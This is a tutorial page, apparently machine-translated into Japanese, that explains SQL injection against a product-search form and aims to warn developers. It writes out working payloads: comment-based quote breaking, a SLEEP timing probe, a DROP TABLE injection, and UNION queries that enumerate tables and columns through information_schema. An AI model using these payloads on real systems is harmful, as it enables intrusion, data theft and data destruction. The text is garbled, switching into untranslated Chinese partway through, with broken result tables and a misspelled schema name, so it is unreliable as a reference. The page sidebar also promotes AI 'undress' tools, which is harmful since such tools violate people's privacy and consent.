SQL インジェクションの基本原理をすぐに理解する
##SQL インジェクションの基本原則
WEB テクノロジーは急速に発展していますが、素手で SQL を綴るという伝統的な技術は依然としてかなりのユーザーに好まれています。開発者が少ない。結局のところ、一連の複雑な ORM ルールを学習するよりも、手作業で行う方が便利で直感的です。通常、自分で SQL を書く人は、SQL インジェクション が危険であることを聞いたことがあるはずですが、彼らは常に次のように考えています。「私の SQL ステートメントは非常に単純なので、インジェクションすることはできません。」
簡単なシナリオ
製品名を入力し、対応する価格、製造日、製造場所の情報を表示する WEB インターフェイスがあります。たとえば、「ハンマー ディスプレイ」と入力します。Price | Place ofproduction | Date ofproduction | |
---|---|---|---|
12.98 | アメリカン | 2019.11.07 | |
29.98 | カナダ | 2019.11.11 |
。 上記の機能を実現したい場合、サーバーで使用される SQL ステートメントは次のとおりであると大まかに推測できます:
SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
where? は、現時点では具体的な内容がわからないことを意味します。テーブル名とフィールド名であり、この SQL は一意です。操作できるのは、シングルクォート '%Hammer%' 内の入力内容です。検索ボックスに一重引用符を直接入力した場合。つまり、
select ? from ? where ? Like '%'%';
になります。このように結合すると、SQL 構文エラーが発生し、結果が得られません。
-- を使用して、最後の単一をコメントアウトする必要があります。引用。 <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class='brush:php;toolbar:false;'>select ? from ? where ? Like &#39;%&#39;; -- %&#39;;</pre><div class="contentsignin">ログイン後にコピー</div></div>
の後にコメント内容が続きます (# も使用できます)。これにより、すべての製品情報を取得できます。匂いを嗅いだことがない、危険信号だ。
生産地 | 生産日 | ||
---|---|---|---|
アメリカン | 2019.11.07 | クラブハンマー | |
カナダ | 2019.11.11 | 果物ナイフ | |
中国 | 2019.11.11 | 骨抜きナイフ | |
中国 | 2019.01.01 |
# 前のステップの展開可能な一重引用符の部分をそのままにしておきます。単純な遅延ステートメントを試してみましょう:
select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
結合したいことは何でもしてください
このデータベースにどのようなテーブルがあるのかを知る必要があります。この方法でのみ有益な情報を得ることができます。
ユニオンを使用すると、さまざまなテーブルの内容を結合できます。試してみてください:select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
生産地 | 生産日 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
アメリカ | 2019.11.07 | クラブハンマー | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
カナダ | 2019.11.11 | 1 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
3 | 4 | 可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。 Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。 select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %'; ログイン後にコピー
现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。 看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。 select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %'; ログイン後にコピー
所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦): select name,price,address,updated_at from products where name like '%Hammer%'; ログイン後にコピー 通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表 以上がSQL インジェクションの基本原理をすぐに理解するの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。 このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
![]() ホットAIツール![]() Undresser.AI Undressリアルなヌード写真を作成する AI 搭載アプリ ![]() AI Clothes Remover写真から衣服を削除するオンライン AI ツール。 ![]() Undress AI Tool脱衣画像を無料で ![]() Clothoff.ioAI衣類リムーバー ![]() Video Face Swap完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。 ![]() 人気の記事
KB5055523を修正する方法Windows 11にインストールできませんか?
3週間前
By DDD
KB5055518を修正する方法Windows 10にインストールできませんか?
3週間前
By DDD
<🎜>:死んだレール - オオカミの飼い主
1 か月前
By DDD
R.E.P.O.のすべての敵とモンスターの強度レベル
1 か月前
By 尊渡假赌尊渡假赌尊渡假赌
<🎜>:庭を育てる - 完全な突然変異ガイド
2週間前
By DDD
![]() ホットツール![]() メモ帳++7.3.1使いやすく無料のコードエディター ![]() SublimeText3 中国語版中国語版、とても使いやすい ![]() ゼンドスタジオ 13.0.1強力な PHP 統合開発環境 ![]() ドリームウィーバー CS6ビジュアル Web 開発ツール ![]() SublimeText3 Mac版神レベルのコード編集ソフト(SublimeText3) ![]() ホットトピック
Java チュートリアル
![]() ![]()
CakePHP チュートリアル
![]() ![]()
Laravel チュートリアル
![]() ![]()
PHP チュートリアル
![]() ![]()
C# チュートリアル
![]() ![]() ![]() nohup の役割と原理の分析 Unix および Unix 系オペレーティング システムでは、nohup はバックグラウンドでコマンドを実行するためによく使用されるコマンドです。ユーザーが現在のセッションを終了したり、ターミナル ウィンドウを閉じたりしても、コマンドはまだ実行され続けています。この記事では、nohup コマンドの機能と原理を詳しく分析します。 1. nohup の役割: バックグラウンドでのコマンドの実行: nohup コマンドを使用すると、ターミナル セッションを終了するユーザーの影響を受けることなく、長時間実行されるコマンドをバックグラウンドで実行し続けることができます。これは実行する必要があります ![]() Struts フレームワークの原理分析と実践的な調査 JavaWeb 開発で一般的に使用される MVC フレームワークとして、Struts フレームワークは優れた設計パターンとスケーラビリティを備えており、エンタープライズ レベルのアプリケーション開発で広く使用されています。この記事では、Struts フレームワークの原理を分析し、読者がフレームワークをよりよく理解して適用できるように、実際のコード例を使用してそれを検討します。 1. Struts フレームワークの原理の分析 1. MVC アーキテクチャ Struts フレームワークは MVC (Model-View-Con) に基づいています。 ![]() MyBatis は、さまざまな Java プロジェクトで広く使用されている人気のある Java 永続層フレームワークです。その中でも、バッチ挿入は、データベース操作のパフォーマンスを効果的に向上させることができる一般的な操作です。この記事では、MyBatis でのバッチ挿入の実装原理を深く調査し、特定のコード例を使用して詳細に分析します。 MyBatis でのバッチ挿入 MyBatis では、通常、バッチ挿入操作は動的 SQL を使用して実装されます。複数の挿入値を含む S を構築することによって ![]() MyBatis は優れた永続層フレームワークであり、XML とアノテーションに基づいたデータベース操作をサポートし、シンプルで使いやすく、豊富なプラグイン メカニズムも提供します。その中でも、ページング プラグインは、よく使用されるプラグインの 1 つです。この記事では、MyBatis ページング プラグインの原理を詳しく説明し、具体的なコード例で説明します。 1. ページング プラグインの原理 MyBatis 自体はネイティブ ページング機能を提供しませんが、プラグインを使用してページング クエリを実装できます。ページング プラグインの原理は主に MyBatis を傍受することです ![]() Laravel 開発ノート: SQL インジェクションを防ぐ方法とテクニック インターネットの発展とコンピューター技術の継続的な進歩に伴い、Web アプリケーションの開発はますます一般的になりました。開発プロセスにおいて、セキュリティは常に開発者にとって無視できない重要な問題でした。中でも SQL インジェクション攻撃の防止は、開発プロセスにおいて特に注意が必要なセキュリティ課題の 1 つです。この記事では、開発者が SQL インジェクションを効果的に防止できるように、Laravel 開発で一般的に使用されるいくつかの方法とテクニックを紹介します。パラメータバインディングの使用 パラメータバインディングはLarです ![]() Linux システムの RPM (RedHatPackageManager) ツールは、システム ソフトウェア パッケージのインストール、アップグレード、アンインストール、管理を行うための強力なツールです。これは RedHatLinux システムで一般的に使用されるソフトウェア パッケージ管理ツールであり、他の多くの Linux ディストリビューションでも使用されます。 RPM ツールの役割は非常に重要で、システム管理者とユーザーがシステム上のソフトウェア パッケージを簡単に管理できるようになります。 RPM を通じて、ユーザーは新しいソフトウェア パッケージを簡単にインストールし、既存のソフトウェアをアップグレードできます。 ![]() Linuxシステムのchageコマンドは、ユーザーアカウントのパスワード有効期限を変更するコマンドであり、アカウントの最長使用日と最短使用可能日を変更することもできます。このコマンドはユーザー アカウントのセキュリティ管理において非常に重要な役割を果たし、ユーザー パスワードの使用期間を効果的に制御し、システムのセキュリティを強化します。 CHAGE コマンドの使用方法: CHAGE コマンドの基本構文は次のとおりです: chage [オプション] ユーザー名 たとえば、ユーザー「testuser」のパスワードの有効期限を変更するには、次のコマンドを使用できます。 ![]() Golang の継承メソッドの基本原理と実装方法 Golang では、継承はオブジェクト指向プログラミングの重要な機能の 1 つです。継承を通じて、親クラスのプロパティとメソッドを使用して、コードの再利用と拡張性を実現できます。この記事では、Golang の継承メソッドの基本原理と実装方法を紹介し、具体的なコード例を示します。継承メソッドの基本原則 Golang では、継承は構造体を埋め込むことによって実装されます。構造が別の構造に埋め込まれている場合、埋め込まれた構造は埋め込まれています。 ![]() |